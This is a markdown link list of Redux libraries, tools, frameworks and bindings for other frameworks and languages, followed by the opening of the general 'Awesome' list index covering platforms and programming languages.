* [**redux-undo** - Simple undo/redo functionality for redux state containers](https://github.com/omnidan/redux-undo)
* [**rn-redux-mixpanel** - Configurable Redux middleware that sends your actions & user profile data to Mixpanel](https://github.com/danscan/rn-redux-mixpanel)
* [**redux-falcor** - Connect your redux front-end to your falcor back-end](https://github.com/ekosz/redux-falcor)
* [**redux-analytics** - Trigger analytics events based on your event metadata](https://github.com/markdalgleish/redux-analytics)
* [**redux-ignore** - Ignore redux actions by array or filter function](https://github.com/omnidan/redux-ignore)
* [**redux-recycle** - Reset the redux state on certain actions](https://github.com/omnidan/redux-recycle)
* [**re-notif**](https://github.com/indexiatech/re-notif) A notification center based on React & Redux.
* [**redux-lunr** - Make your redux store searchable with Lunr.js](https://github.com/swennemans/redux-lunr)
* [**redux-ensure-fsa** - Development middleware to check for FSA-compliant actions](https://github.com/meadow/redux-ensure-fsa)
* [**redux-pagan** - internationalization via redux](https://github.com/alexkuz/redux-pagan)
* [**redux-debounce**](//github.com/wyze/redux-debounce) - Debounce your actions!
* [**redux-future** - FSA-compliant future monad middleware for redux](https://github.com/stoeffel/redux-future)
* [**redux-io** - FSA-compliant io monad middleware for redux](https://github.com/stoeffel/redux-io)
* [**redux-either** - FSA-compliant either monad middleware for redux](https://github.com/stoeffel/redux-either)
* [**redux-timeout** - Trigger actions based on timeouts](https://github.com/gpfunk/redux-timeout)
* [**redux-observable-middleware** - Redux middleware for subscribing to observables](https://github.com/d6u/redux-observable-middleware)
* [**redux-observable** - RxJS 5-based middleware for Redux. Compose and cancel actions as epics.](https://github.com/redux-observable/redux-observable)
* [**redux-deferred** - Redux middleware for jQuery Deferred Object](https://github.com/wyvernnot/redux-deferred)
* [**redux-task** - A simple Side Effects manager for redux](https://github.com/sskyy/redux-task)
* [**redux-gen** - Generator based middleware for redux](https://github.com/weo-edu/redux-gen)
* [**redux-authentication** - Authentication component for Redux](https://github.com/Jackong/redux-authentication)
* [**socket.io-redux** - Redux middleware to emit action via socket.io](https://github.com/sergiodxa/socket.io-redux)
* [**redux-catch** - Error catcher middleware for Redux reducers and middlewares](https://github.com/sergiodxa/redux-catch)
* [**redux-elm-middleware** - Elm middleware for redux](https://github.com/stoeffel/redux-elm-middleware)
* [**redux-api-middleware** - Redux API middleware based on the real-world example](https://github.com/agraboso/redux-api-middleware)
* [**redux-mediaquery** - Redux ActionCreator to put responsive-design breakpoints in your store](https://github.com/Yaska/redux-mediaquery)
* [**redux-amrc** - Redux async middleware and reducer creator](https://github.com/lewis617/redux-amrc)
* [**redux-fetch-middleware** - Redux middleware that help user to treat simple request via fetch api](https://github.com/zslucky/redux-fetch-middleware)
* [**redux-url** - A Redux middleware for synchronizing the URL with the state](https://github.com/jedirandy/redux-url)
* [**redux-most** - Most.js based middleware for Redux. Handle async actions with monadic streams & reactive programming.](https://github.com/joshburgess/redux-most)
* [**redux-cookies-middleware** - a Redux middleware which syncs a subset of your Redux store state with cookies.](https://github.com/grofers/redux-cookies-middleware/)
* [**redux-cycles** - Handle async actions with functional and reactive programming.](
https://github.com/cyclejs-community/redux-cycles)
* [**axios-promise-redux-middleware** - This is a tiny redux middleware which allows you to make http requests(using axios) by dispatching actions](https://www.npmjs.com/package/axios-promise-redux-middleware)
* [**redux-callbag** - Redux middleware for action side effects with callbag + Extremely lightweight and highly scalable](https://github.com/janryWang/redux-callbag)
* [**@reactive-crystal/redux-websocket** - Redux Websocket middleware, reducer and protocol router. ](https://www.npmjs.com/package/@reactive-crystal/redux-websocket)
* Tools
* [**actiontyper** - Helper to create less verbose action types for Redux](https://github.com/alnorris/redux-actiontyper)
* [**actionware** - Redux with less boilerplate + error/busy status for every action](https://github.com/wellguimaraes/actionware)
* [**entities-reducer** - High order reducer to handle updates to entities from normalizr actions](https://github.com/kwelch/entities-reducer)
* [**reactotron** - Control, monitor, and instrument your React Native apps from the comfort of your TTY](https://github.com/skellock/reactotron)
* [**redux-test-recorder** - Redux test recorder is a redux middleware + included component for automagically generating tests for your reducers based on the actions in your app](https://github.com/conorhastings/redux-test-recorder)
* [**redux-devtools** - DevTools for Redux with hot reloading, action replay, and customizable UI](https://github.com/gaearon/redux-devtools)
* [**react-router-redux** - Ruthlessly simple bindings to keep react-router and redux in sync](https://github.com/rackt/react-router-redux)
* [**redux-tiny-router** - A Router made for Redux, stop using the router as a controller it's just state!](https://github.com/Agamennon/redux-tiny-router)
* [**redux-devtools-gentest-plugin** - Generate mocha like tests from redux-devtools session](https://github.com/lapanoid/redux-devtools-gentest-plugin)
* [**generator-redux** - CLI tools for Redux: next-gen functional Flux/React with devtools](https://github.com/banderson/generator-redux)
* [**generator-reactapp** - Yeoman generator for react app with redux](https://github.com/Jackong/generator-reactapp)
* [**generator-redux-app** - Scaffold out a redux app with counter example and react-router](https://github.com/chentsulin/generator-redux-app)
* [**redux-loader** - A high order component for Redux. This components loads resources and passes them to the child components via props](https://github.com/sporto/redux-loader)
* [**asyncdataloader-react** -AsyncDataLoader is a React Higher Order Component which takes responsibility of fetching data of the Wrapped Component and offers many options like showing an interface preview of the Wrapped Component while data is being fetched, refetch data after specified time.](https://github.com/harshitkumar31/asyncdataloader-react)
* [**redux-rest** - Automatically create Flux action constants, action creators and Redux reducers for your REST API](https://github.com/Kvoti/redux-rest)
* [**react-reach** - A library to communicate with Graphql through Redux](https://github.com/kennetpostigo/react-reach)
* [**redux-api** - Flux REST API for redux infrastructure](https://github.com/lexich/redux-api)
* [**redux-store-validator** - Add validation to your Redux reducers](https://github.com/alixander/redux-store-validator)
* [**firedux** - Firebase + Redux for ReactJS](https://github.com/adjohnson916/firedux)
* [**vstack-router** - Universal router](https://github.com/vslinko/vstack-router)
* [**redux-ecommerce** - E-commerce flux with redux](https://github.com/Tom-Alexander/redux-ecommerce)
* [**redux-form** - An ES7 decorator for forms using Redux and React](https://github.com/erikras/redux-form)
* [**redux-form-validation** - Form validation for controlled & uncontrolled inputs](https://github.com/posabsolute/redux-form-validator)
* [**simple-redux-form** - A tiny redux-form alternative Higher Order Component for forms](https://github.com/mihirsoni/simple-redux-form).
* [**redux-slider-monitor** - A custom monitor for Redux DevTools to replay recorded Redux actions](https://github.com/calesce/redux-slider-monitor)
* [**updeep** - Easily update nested frozen objects and arrays in a declarative and immutable manner](https://github.com/substantial/updeep)
* [**redux-immutable** - Streamlines use of Immutable.js with Redux reducers.](https://github.com/gajus/redux-immutable)
* [**redux-import-export-monitor** - A monitor for copying your serialized action log to the clipboard, as well as pasting it in from somewhere else](https://github.com/lapanoid/redux-import-export-monitor)
* [**icedam** - Just-in-time immutability: freezes data sent to views.](https://github.com/winkler1/icedam)
* [**react-inline-grid** - Predictable flexbox based grid for React using Redux and Immutable-js.](https://github.com/broucz/react-inline-grid)
* [**redux-easy-actions** - Sugar library for creating Redux or Flux actions](https://github.com/grigory-leonenko/redux-easy-actions)
* [**redux-mount** - Mount state data and change its state values on the fly](https://github.com/popc0rn/redux-mount)
* [**redux-multi** - Dispatch multiple actions from one action creator](https://github.com/ashaffer/redux-multi)
* [**immu** - A tiny, fail-fast, lazy, immutable Javascript objects library](https://github.com/scottcorgan/immu)
* [**Generate standard action creators and reducers for CRUD applications**](https://github.com/Versent/redux-crud)
* [**Redux & ImmutableJs** - Integration of Redux & ImmutableJs that 100% conforms Redux standards](https://github.com/indexiatech/redux-immutablejs)
* [**redux-tcomb** - Immutable and type-checked state and actions for Redux](https://github.com/gcanti/redux-tcomb)
* [**redux-react-router-transitions** - Attach react-router transitions to arbitrary actions](https://github.com/johanneslumpe/redux-react-router-transitions)
* [**redux-optimist** - Optimistically apply actions that can be later commited or reverted.](https://github.com/ForbesLindesay/redux-optimist)
* [**redux-devtools-diff-monitor** - Redux DevTools – Diff Monitor](https://github.com/whetstone/redux-devtools-diff-monitor)
* [**redux-store-visualizer** - Visualize Redux store in real time](https://github.com/romseguy/redux-store-visualizer)
* [**generator-redux** - CLI tools for Redux: next-gen functional Flux/React with devtools](https://github.com/banderson/generator-redux)
* [**generator-reactapp** - Yeoman generator for react app with redux](https://github.com/Jackong/generator-reactapp)
* [**redux-viewmodel** - ViewModel wrapping for Redux & React](https://github.com/tdzl2003/redux-viewmodel)
* [**redux-utils** - Utility functions for Redux](https://github.com/newtack/redux-utils)
* [**multireducer** - A utility to wrap many copies of a single Redux reducer into a single key-based reducer](https://github.com/erikras/multireducer)
* [**subdivide** - User defined UI layout: Every pane can be subdivided and any widget assigned to any pane](https://github.com/philholden/subdivide)
* [**replux** - Self contained components and enhancements for Redux](https://github.com/gregthebusker/replux)
* [**redux-immutable-utils** - Utilities for using Immutable with Redux](https://github.com/aparticka/redux-immutable-utils)
* [**recompose** - A microcomponentization toolkit for React](https://github.com/acdlite/recompose)
* [**redux-lift** - Lifting for Redux](https://github.com/izaakschroeder/redux-lift)
* [**redux-router5** - router5 integration with Redux](https://github.com/router5/redux-router5)
* [**redux-devtools-extension** - Redux DevTools Extension](https://github.com/zalmoxisus/redux-devtools-extension)
* [**universal-redux-router** - A very simple router for Redux and React that works on both server and client](https://github.com/colinmeinke/universal-redux-router)
* [**redux-watch** - Watch/monitor for state changes on an object path](https://github.com/jprichardson/redux-watch)
* [**redux-devtools-filterable-log-monitor** - Filterable tree view monitor for Redux DevTools](https://github.com/bvaughn/redux-devtools-filterable-log-monitor)
* [**redux-flash-notification** - A flash notification component for Redux](https://github.com/posabsolute/redux-flash-notification)
* [**redux-saga** - An alternative side effect model for Redux apps](https://github.com/yelouafi/redux-saga)
* [**remote-redux-devtools** - Use Redux DevTools remotely for React Native, hybrid, desktop and server side Redux apps](https://github.com/zalmoxisus/remote-redux-devtools)
* [**redux-devtools-dispatch** - Dispatch your actions manually to test if your app reacts well](https://github.com/YoruNoHikage/redux-devtools-dispatch)
* [**redux-loop** - Sequence your effects naturally and purely by returning them from your reducers](https://github.com/raisemarketplace/redux-loop)
* [**redux-data-fx** - Declarative side effects for Redux](https://github.com/matthieu-beteille/redux-data-fx)
* [**redux-orm** - A small, simple and immutable ORM to manage data in your Redux store](https://github.com/tommikaikkonen/redux-orm)
* [**blue-chip** - Accepts payloads from GraphQL or JsonAPI servers, normalizes them into your store and provides an ORM like syntax for retrieving the data for use](https://github.com/mfpiccolo/blue-chip)
* [**redux-bacon** - Utilities for attaching Bacon.js to Redux](https://github.com/aparticka/redux-bacon)
* [**rereduce** - Reducer library for Redux](https://github.com/slorber/rereduce)
* [**redoodle** - Enhances Redux integration with TypeScript with Typed Actions and typesafe reducers.](https://github.com/palantir/redoodle)
* [**redux-decorators** - A ridiculously good syntax for working with Redux and TypeScript. Currently limited to Angular but could potentially be used elsewhere](https://github.com/KarlPurk/redux-decorators)
* [**redux-test-reducer** - Simple and clean testing mechanism for Redux reducers](https://github.com/amsardesai/redux-test-reducer)
* [**redux-devtools-inspector** - Another Redux DevTools Monitor](https://github.com/alexkuz/redux-devtools-inspector)
* [**redux-ava** - Helpers for writing Redux tests in AVA](https://github.com/sotojuan/redux-ava)
* [**redux-cli** - An opinionated CLI for building redux/react apps quicker](https://github.com/SpencerCDixon/redux-cli)
* [**redux-saga-rxjs** - RxJS implementation of Saga pattern for redux](https://github.com/salsita/redux-saga-rxjs)
* [**redux-actions-assertions** - Assertions for redux actions testing](https://github.com/dmitry-zaets/redux-actions-assertions)
* [**redux-duck** - Helper function to create Redux modules using the ducks-modular-redux proposal](https://github.com/sergiodxa/redux-duck)
* [**redux-dispatch-cli** - A CLI tool for Redux remote dispatch. Used in remote-redux-devtools](https://github.com/jhen0409/redux-dispatch-cli)
* [**redux-immutable-reducer** - Immutable reducer states with Redux](https://github.com/zackargyle/redux-immutable-reducer)
* [**redux-bootstrap** - configure React + React-Router + Redux + Immutable.js with one function!](https://github.com/redux-bootstrap/redux-bootstrap)
* [**redux-director** - Redux bindings to director router](https://github.com/mandeepbrar/redux-director)
* [**redux-q** - Provides a way to queue callbacks until an action is dispatched](https://github.com/ConciergeAuctions/redux-q)
* [**redux-apist** - Creator API actions for redux-thunk](https://github.com/exeto/redux-apist)
* [**reswitch** — Write reducers with less boilerplate](https://github.com/chiefGui/reswitch)
* [**redux-autoform** - Create Redux-Forms dynamically out of metadata](https://github.com/redux-autoform/redux-autoform)
* [**redux-ship** - Composable, testable and typable side effects](https://github.com/clarus/redux-ship)
* [**entman** - A simple library to manage normalizr entities in a Redux store](https://github.com/Drawbotics/entman)
* [**yax** - Yet another store using redux and inspired by vuex](https://github.com/d-band/yax)
* [**listate** - Library to listen/observe/watch changes of Redux store state](https://github.com/gamtiq/listate)
* [**redux-reducer-async** - Create redux reducers for async behaviors of multiple actions.](https://github.com/AndersDJohnson/redux-reducer-async)
* [**redux-autoreducers** - Redux Auto reducers generator.](https://github.com/oxyno-zeta/redux-autoreducers)
* [**redux-resource** - Lightweight remote resource management for Redux.](https://github.com/jmeas/redux-resource)
* [**redux-bees** - A nice, declarative way of managing JSON API calls with Redux.](https://github.com/cantierecreativo/redux-bees)
* [**redux-saga-requests** - Redux-Saga addon to simplify handling of AJAX requests. It supports Axios and Fetch API.](https://github.com/klis87/redux-saga-requests)
* [**redux-browser-extension-sync** - Redux state synchronization between browser extension components (background/popup etc.). Works in Chrome, Firefox and Opera.](https://github.com/perry-mitchell/redux-browser-extension-sync)
* [**encaps** - a library to create independent, reusable and extensible modules for redux applications.](https://github.com/megazazik/encaps)
* Frameworks
* [**Jumpsuit** - A powerful & efficient React framework. Jump in. Zip up. Build great apps.](https://github.com/jumpsuit/jumpsuit)
* [**Jumpstate** - Simple and powerful state management for Redux](https://github.com/jumpsuit/jumpstate)
* [**Redux-Box** - Modular and easy-to-grasp redux container ](https://github.com/anish000kumar/redux-box)
* [**dva** - Front-end framework based on react, redux, react-redux, react-router and redux-saga.](https://github.com/sorrycc/dva)
* [**Vdux** - World's smallest framework. Stateless Virtual DOM <-> Redux](https://github.com/ashaffer/vdux)
* [**Esex** - Full-stack Universal JavaScript Framework (Redux+RxJs)](https://github.com/esex/esex)
* [**Ripster**](https://github.com/vslinko/ripster)
* [**Este** - The most complete minimal dev stack / boilerplate for React & Redux universal web apps](https://github.com/este/este)
* [**stardux** - Functional DOM containers based on starplate, IncrementalDOM, and redux](https://github.com/littlstar/stardux)
* [**nux** - A Push-Based Functional Reactive Web Application Framework](https://github.com/marknutter/nux)
* [**Keo** - Plain functions for a more functional Deku approach to creating React components, with functional goodies such as compose, memoize, etc... for free](https://github.com/Wildhoney/Keo)
* [**plait** - A minimal JavaScript framework for building reactive web components](https://github.com/wildlyinaccurate/plait)
* [**reactuate** — A React/Redux stack (not a boilerplate!) with a focus on Domain-Driven Design](https://github.com/reactuate/reactuate)
* [**meatier** - Like meteor, but meatier](https://github.com/mattkrick/meatier)
* [**relax** - New generation CMS on top of React, Redux and GraphQL](https://github.com/relax/relax)
* [**lovli.js** - A boilerplate for developing react+redux applications with rethinkdb/horizon as realtime database and express for the server](https://github.com/flipace/lovli.js)
* [**kea** - Well-readable, self-documenting and easily refactorable framework that brings your data to life! Comes with scaffolding tools](https://github.com/mariusandra/kea-logic) :bird:
* [**Feeble** - A framework built on top of React/Redux/redux-saga which aims to make building React/Redux applications easier and better.](https://github.com/tianche/feeble)
* [**Conventional-Redux** - A wrapper for react-redux which provides API based on convention over configuration pattern.](https://github.com/mjaneczek/conventional-redux)
* [**redux-react-i18n** - An i18n solution for redux/react✌🏿✊🏽🤘🏻](https://github.com/derzunov/redux-react-i18n)
* [**redux-action-host** - Redux middleware to add the hostname of the originating computer to action metadata](https://github.com/sabrehagen/redux-action-host)
* [**Mirror** - A simple and powerful React framework with minimal API and zero boilerplate](https://github.com/mirrorjs/mirror)
* [**Rematch** - Redux best practices without the boilerplate](https://github.com/rematch/rematch)
* [**Easy Peasy** - Easy peasy redux-powered state management](https://github.com/ctrlplusb/easy-peasy)
* [**redux-ts-utils** - Everything you need to create type-safe applications with Redux with a strong emphasis on simplicity](https://github.com/knpwrs/redux-ts-utils)
* [**Rechyons** - makes redux no longer verbose, allows you use redux without writing actions and reducers, and still keep immutable](https://github.com/ZhouHansen/rechyons)
---
### [Examples](examples/README.md)
---
### Similar libraries
* [**flux-ts** - A small flux implementation heavily inspired by redux](https://github.com/BobBuehler/flux-ts)
* [**chopped-redux** - A very small Flux implementation based on Redux](https://github.com/acstll/chopped-redux)
* [**fluxette** - Minimalist, functional, and concise Flux](https://github.com/edge/fluxette)
* [**rx-redux** - A reimplementation of redux using RxJS](https://github.com/jas-chen/rx-redux)
* [**understate** - A simple state manager](https://github.com/johnhenry/understate)
* [**refer** - Redux-like library for handling global state on functional style](https://github.com/Lucifier129/refer)
* [**bobflux** - Bobflux is pure functional implementation of FLUX pattern and is fitted to Bobril](https://github.com/karelsteinmetz/bobflux)
* [**mobx** - Simple, scalable state management](https://github.com/mobxjs/mobx)
---
### [Deku - Functional view library for building UI components as an alternative to React](https://github.com/dekujs/deku)
* Examples
* [Deku + Express + Redux + Crossroads Router](https://github.com/nivanson/deku-redux-universal-hot-example)
* [deku-redux - Bindings for redux in deku (Standalone plugin)](https://github.com/troch/deku-redux)
)
---
### [Incremental DOM - Incremental DOM is a library for building up DOM trees and updating them in-place when data changes](http://google.github.io/incremental-dom)
* Examples
* [Incremental DOM + Redux Flux = Todo App](https://github.com/joshthecoder/idom-redux-todomvc-app)
---
### [WinJS - Windows Library for JavaScript](http://try.buildwinjs.com)
* Examples
* [react-redux-winjs-example](https://github.com/unindented/react-redux-winjs-example)
---
### [AngularJS - HTML enhanced for web apps](https://angularjs.org)
* Examples
* [AngularJS + Typescript + Redux](https://github.com/wbuchwalter/tsRedux)
* [ng-redux - Standalone plugin](https://github.com/wbuchwalter/ng-redux)
* [redux-ui-router - ngRedux middleware for AngularJS UI Router](https://github.com/neilff/redux-ui-router)
* [Todo app with ng-redux • ES6 • Webpack](https://github.com/r-park/todo-angular-redux)
* [https://github.com/InfomediaLtd/angular2-redux-example](https://github.com/InfomediaLtd/angular2-redux-example)
* [https://github.com/tomusdrw/angular2-redux-example](https://github.com/tomusdrw/angular2-redux-example)
---
### [Angular - One framework. Mobile and desktop](https://angular.io/)
* Examples
* [angular2-redux-example - Example project for using pure Redux with Angular and TypeScript](https://github.com/InfomediaLtd/angular2-redux-example)
* [@angular-redux/store - Angular bindings for Redux](https://github.com/angular-redux/store)
* [angular2-redux - Wrapper components for using Redux in an Angular application](https://github.com/InfomediaLtd/angular2-redux)
* [ng2redux - Angular bindings for Redux implemented with TypeScript and decorators](https://github.com/forforeach/ng2redux)
---
### [Vue - A library for building modern web interfaces](http://vuejs.org)
* Examples
* [Revue - Redux binding for Vue](https://github.com/revue/revue)
* [Vue + Redux](https://github.com/yang-wei/vue-flux)
* [Meteor + Vue + Redux](https://github.com/zhongqf/meteor-vue-redux-example)
---
### [Polymer - Build modern apps using web components](https://www.polymer-project.org)
* Examples
* [polymer-redux](https://github.com/tur-nr/polymer-redux)
* [redux-store-element](https://github.com/lastmjs/redux-store-element)
---
### [Ember - A framework for creating ambitious web applications](http://emberjs.com)
* Examples
---
### [Meteor - Build apps that are a delight to use, faster than you ever thought possible](https://www.meteor.com)
* Examples
* [meteor-react-redux-example](https://github.com/zhongqf/meteor-react-redux-example)
* [meteor-flux-leaderboard](https://github.com/AdamBrodzinski/meteor-flux-leaderboard/tree/redux)
---
### [Mithril - A Javascript Framework for Building Brilliant Applications](http://mithril.js.org/)
* Examples
* [mithril-redux-starter-hmr](https://github.com/mijime/mithril-redux-starter-hmr)
---
### [Backbone - Give your JS App some Backbone with Models, Views, Collections, and Events](http://backbonejs.org/)
* Tools
* [backbone-redux — The easy way to keep your backbone collections and redux store in sync](https://github.com/redbooth/backbone-redux)
---
### [Aurelia - is a next gen JavaScript client framework for mobile, desktop and web that leverages simple conventions to empower your creativity](http://aurelia.io)
* Examples
* [aurelia-redux-todo - An implementation of the Redux todo demo app using Aurelia](https://github.com/voidberg/aurelia-redux-todo)
* [Managing State in Aurelia: How to Use Aurelia with Redux](https://www.sitepoint.com/managing-state-aurelia-with-redux/)
___
### [Riot - A React-like user interface micro-library](http://riotjs.com)
* Examples
* [riotredux-budget](https://github.com/remyhonig/riotredux-budget)
* [app-skeleton](https://github.com/zesty-io/app-skeleton)
___
### [Electron - Build cross platform desktop apps with web technologies](http://electron.atom.io/)
* [electron-react-boilerplate (Electron + Redux + Hot Reload)](https://github.com/chentsulin/electron-react-boilerplate)
___
### [A-Frame - A web framework for building VR experiences](https://aframe.io)
* [aframe-redux-component](https://github.com/ngokevin/kframe/tree/master/components/redux)
___
### Chrome Extensions
* [Redux Chrome Extension](https://github.com/Dharmoslap/redux-chrome-extension)
* [React Chrome Extension Boilerplate (Webpack + Redux + Babel and etc](https://github.com/jhen0409/react-chrome-extension-boilerplate)
* Examples
* [Pumgrana Plugin](https://github.com/Pumgrana/plugin)
## Ruby on Rails Resources
* [React Webpack Rails Tutorial Using Redux](https://github.com/shakacode/react-webpack-rails-tutorial)
* [react_on_rails gem](https://github.com/shakacode/react_on_rails)
## Other languages
* .NET
* [https://github.com/GuillaumeSalles/redux.NET](https://github.com/GuillaumeSalles/redux.NET)
* [https://github.com/pshomov/reducto](https://github.com/pshomov/reducto)
* Java
* [https://github.com/glung/redux-java](https://github.com/glung/redux-java)
* [https://github.com/trikita/jedux](https://github.com/trikita/jedux)
* [https://github.com/izumin5210/Droidux](https://github.com/izumin5210/Droidux)
* Swift
* [https://github.com/ReSwift/reduxSwift](https://github.com/ReSwift/reduxSwift)
* [https://github.com/Swift-Flow/Swift-Flow](https://github.com/Swift-Flow/Swift-Flow)
* [https://github.com/ReSwift/ReSwift](https://github.com/ReSwift/ReSwift) and [docs](http://reswift.github.io/ReSwift/master)
* Purescript
* [https://github.com/brakmic/purescript-redux](https://github.com/brakmic/purescript-redux)
* [https://github.com/faber/purescript-purdux](https://github.com/faber/purescript-purdux)
|
<div align="center">
<img width="500" height="350" src="media/logo.svg" alt="Awesome">
<br>
<p>
<p>
<sup>
<a href="https://github.com/sponsors/sindresorhus">My open source work is supported by the community</a>
</sup>
</p>
<br>
<br>
</p>
<br>
<br>
</div>
<p align="center">
<a href="awesome.md">What is an awesome list?</a>
<a href="contributing.md">Contribution guide</a>
<a href="create-list.md">Creating a list</a>
<a href="https://twitter.com/awesome__re">Twitter</a>
<a href="https://www.redbubble.com/people/sindresorhus/works/30364188-awesome-logo">Stickers & t-shirts</a>
</p>
<br>
<div align="center">
<b>Follow the <a href="https://twitter.com/awesome__re">Awesome Twitter account</a> for updates on new list additions.</b>
</div>
<br>
<p align="center">
<sub>Just type <a href="https://awesome.re"><code>awesome.re</code></a> to go here. Check out my <a href="https://blog.sindresorhus.com">blog</a> and follow me on <a href="https://twitter.com/sindresorhus">Twitter</a>.</sub>
</p>
<br>
## Contents
- [Platforms](#platforms)
- [Programming Languages](#programming-languages)
- [Front-End Development](#front-end-development)
- [Back-End Development](#back-end-development)
- [Computer Science](#computer-science)
- [Big Data](#big-data)
- [Theory](#theory)
- [Books](#books)
- [Editors](#editors)
- [Gaming](#gaming)
- [Development Environment](#development-environment)
- [Entertainment](#entertainment)
- [Databases](#databases)
- [Media](#media)
- [Learn](#learn)
- [Security](#security)
- [Content Management Systems](#content-management-systems)
- [Hardware](#hardware)
- [Business](#business)
- [Work](#work)
- [Networking](#networking)
- [Decentralized Systems](#decentralized-systems)
- [Higher Education](#higher-education)
- [Events](#events)
- [Testing](#testing)
- [Miscellaneous](#miscellaneous)
- [Related](#related)
## Platforms
- [Node.js](https://github.com/sindresorhus/awesome-nodejs#readme) - Async non-blocking event-driven JavaScript runtime built on Chrome's V8 JavaScript engine.
- [Cross-Platform](https://github.com/bcoe/awesome-cross-platform-nodejs#readme) - Writing cross-platform code on Node.js.
- [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks#readme)
- [iOS](https://github.com/vsouza/awesome-ios#readme) - Mobile operating system for Apple phones and tablets.
- [Android](https://github.com/JStumpp/awesome-android#readme) - Mobile operating system developed by Google.
- [IoT & Hybrid Apps](https://github.com/weblancaster/awesome-IoT-hybrid#readme)
- [Electron](https://github.com/sindresorhus/awesome-electron#readme) - Cross-platform native desktop apps using JavaScript/HTML/CSS.
- [Cordova](https://github.com/busterc/awesome-cordova#readme) - JavaScript API for hybrid apps.
- [React Native](https://github.com/jondot/awesome-react-native#readme) - JavaScript framework for writing natively rendering mobile apps for iOS and Android.
- [Xamarin](https://github.com/XamSome/awesome-xamarin#readme) - Mobile app development IDE, testing, and distribution.
- [Linux](https://github.com/aleksandar-todorovic/awesome-linux#readme)
- [Containers](https://github.com/Friz-zy/awesome-linux-containers#readme)
- [eBPF](https://github.com/zoidbergwill/awesome-ebpf#readme) - Virtual machine that allows you to write more efficient and powerful tracing and monitoring for Linux systems.
- [Arch-based Projects](https://github.com/PandaFoss/Awesome-Arch#readme) - Linux distributions and projects based on Arch Linux.
- [macOS](https://github.com/iCHAIT/awesome-macOS#readme) - Operating system for Apple's Mac computers.
- [Command-Line](https://github.com/herrbischoff/awesome-macos-command-line#readme)
- [Screensavers](https://github.com/agarrharr/awesome-macos-screensavers#readme)
- [Apps](https://github.com/jaywcjlove/awesome-mac#readme)
- [Open Source Apps](https://github.com/serhii-londar/open-source-mac-os-apps#readme)
- [watchOS](https://github.com/yenchenlin/awesome-watchos#readme) - Operating system for the Apple Watch.
- [JVM](https://github.com/deephacks/awesome-jvm#readme)
- [Salesforce](https://github.com/mailtoharshit/awesome-salesforce#readme)
- [Amazon Web Services](https://github.com/donnemartin/awesome-aws#readme)
- [Windows](https://github.com/Awesome-Windows/Awesome#readme)
- [IPFS](https://github.com/ipfs/awesome-ipfs#readme) - P2P hypermedia protocol.
- [Fuse](https://github.com/fuse-compound/awesome-fuse#readme) - Mobile development tools.
- [Heroku](https://github.com/ianstormtaylor/awesome-heroku#readme) - Cloud platform as a service.
- [Raspberry Pi](https://github.com/thibmaek/awesome-raspberry-pi#readme) - Credit card-sized computer aimed at teaching kids programming, but capable of a lot more.
- [Qt](https://github.com/JesseTG/awesome-qt#readme) - Cross-platform GUI app framework.
- [WebExtensions](https://github.com/fregante/Awesome-WebExtensions#readme) - Cross-browser extension system.
- [RubyMotion](https://github.com/motion-open-source/awesome-rubymotion#readme) - Write cross-platform native apps for iOS, Android, macOS, tvOS, and watchOS in Ruby.
- [Smart TV](https://github.com/vitalets/awesome-smart-tv#readme) - Create apps for different TV platforms.
- [GNOME](https://github.com/Kazhnuz/awesome-gnome#readme) - Simple and distraction-free desktop environment for Linux.
- [KDE](https://github.com/francoism90/awesome-kde#readme) - A free software community dedicated to creating an open and user-friendly computing experience.
- [.NET](https://github.com/quozd/awesome-dotnet#readme)
- [Core](https://github.com/thangchung/awesome-dotnet-core#readme)
- [Roslyn](https://github.com/ironcev/awesome-roslyn#readme) - Open-source compilers and code analysis APIs for C# and VB.NET languages.
- [Amazon Alexa](https://github.com/miguelmota/awesome-amazon-alexa#readme) - Virtual home assistant.
- [DigitalOcean](https://github.com/jonleibowitz/awesome-digitalocean#readme) - Cloud computing platform designed for developers.
- [Flutter](https://github.com/Solido/awesome-flutter#readme) - Google's mobile SDK for building native iOS and Android apps from a single codebase written in Dart.
- [Home Assistant](https://github.com/frenck/awesome-home-assistant#readme) - Open source home automation that puts local control and privacy first.
- [IBM Cloud](https://github.com/victorshinya/awesome-ibmcloud#readme) - Cloud platform for developers and companies.
- [Firebase](https://github.com/jthegedus/awesome-firebase#readme) - App development platform built on Google Cloud Platform.
- [Robot Operating System 2.0](https://github.com/fkromer/awesome-ros2#readme) - Set of software libraries and tools that help you build robot apps.
- [Adafruit IO](https://github.com/adafruit/awesome-adafruitio#readme) - Visualize and store data from any device.
- [Cloudflare](https://github.com/irazasyed/awesome-cloudflare#readme) - CDN, DNS, DDoS protection, and security for your site.
- [Actions on Google](https://github.com/ravirupareliya/awesome-actions-on-google#readme) - Developer platform for Google Assistant.
- [ESP](https://github.com/agucova/awesome-esp#readme) - Low-cost microcontrollers with WiFi and broad IoT applications.
- [Deno](https://github.com/denolib/awesome-deno#readme) - A secure runtime for JavaScript and TypeScript that uses V8 and is built in Rust.
## Programming Languages
- [JavaScript](https://github.com/sorrycc/awesome-javascript#readme)
- [Promises](https://github.com/wbinnssmith/awesome-promises#readme)
- [Standard Style](https://github.com/standard/awesome-standard#readme) - Style guide and linter.
- [Must Watch Talks](https://github.com/bolshchikov/js-must-watch#readme)
- [Tips](https://github.com/loverajoel/jstips#readme)
- [Network Layer](https://github.com/Kikobeats/awesome-network-js#readme)
- [Micro npm Packages](https://github.com/parro-it/awesome-micro-npm-packages#readme)
- [Mad Science npm Packages](https://github.com/feross/awesome-mad-science#readme) - Impossible sounding projects that exist.
- [Maintenance Modules](https://github.com/maxogden/maintenance-modules#readme) - For npm packages.
- [npm](https://github.com/sindresorhus/awesome-npm#readme) - Package manager.
- [AVA](https://github.com/avajs/awesome-ava#readme) - Test runner.
- [ESLint](https://github.com/dustinspecker/awesome-eslint#readme) - Linter.
- [Functional Programming](https://github.com/stoeffel/awesome-fp-js#readme)
- [Observables](https://github.com/sindresorhus/awesome-observables#readme)
- [npm scripts](https://github.com/RyanZim/awesome-npm-scripts#readme) - Task runner.
- [30 Seconds of Code](https://github.com/30-seconds/30-seconds-of-code#readme) - Code snippets you can understand in 30 seconds.
- [Ponyfills](https://github.com/Richienb/awesome-ponyfills#readme) - Like polyfills but without overriding native APIs.
- [Swift](https://github.com/matteocrippa/awesome-swift#readme) - Apple's compiled programming language that is secure, modern, programmer-friendly, and fast.
- [Education](https://github.com/hsavit1/Awesome-Swift-Education#readme)
- [Playgrounds](https://github.com/uraimo/Awesome-Swift-Playgrounds#readme)
- [Python](https://github.com/vinta/awesome-python#readme) - General-purpose programming language designed for readability.
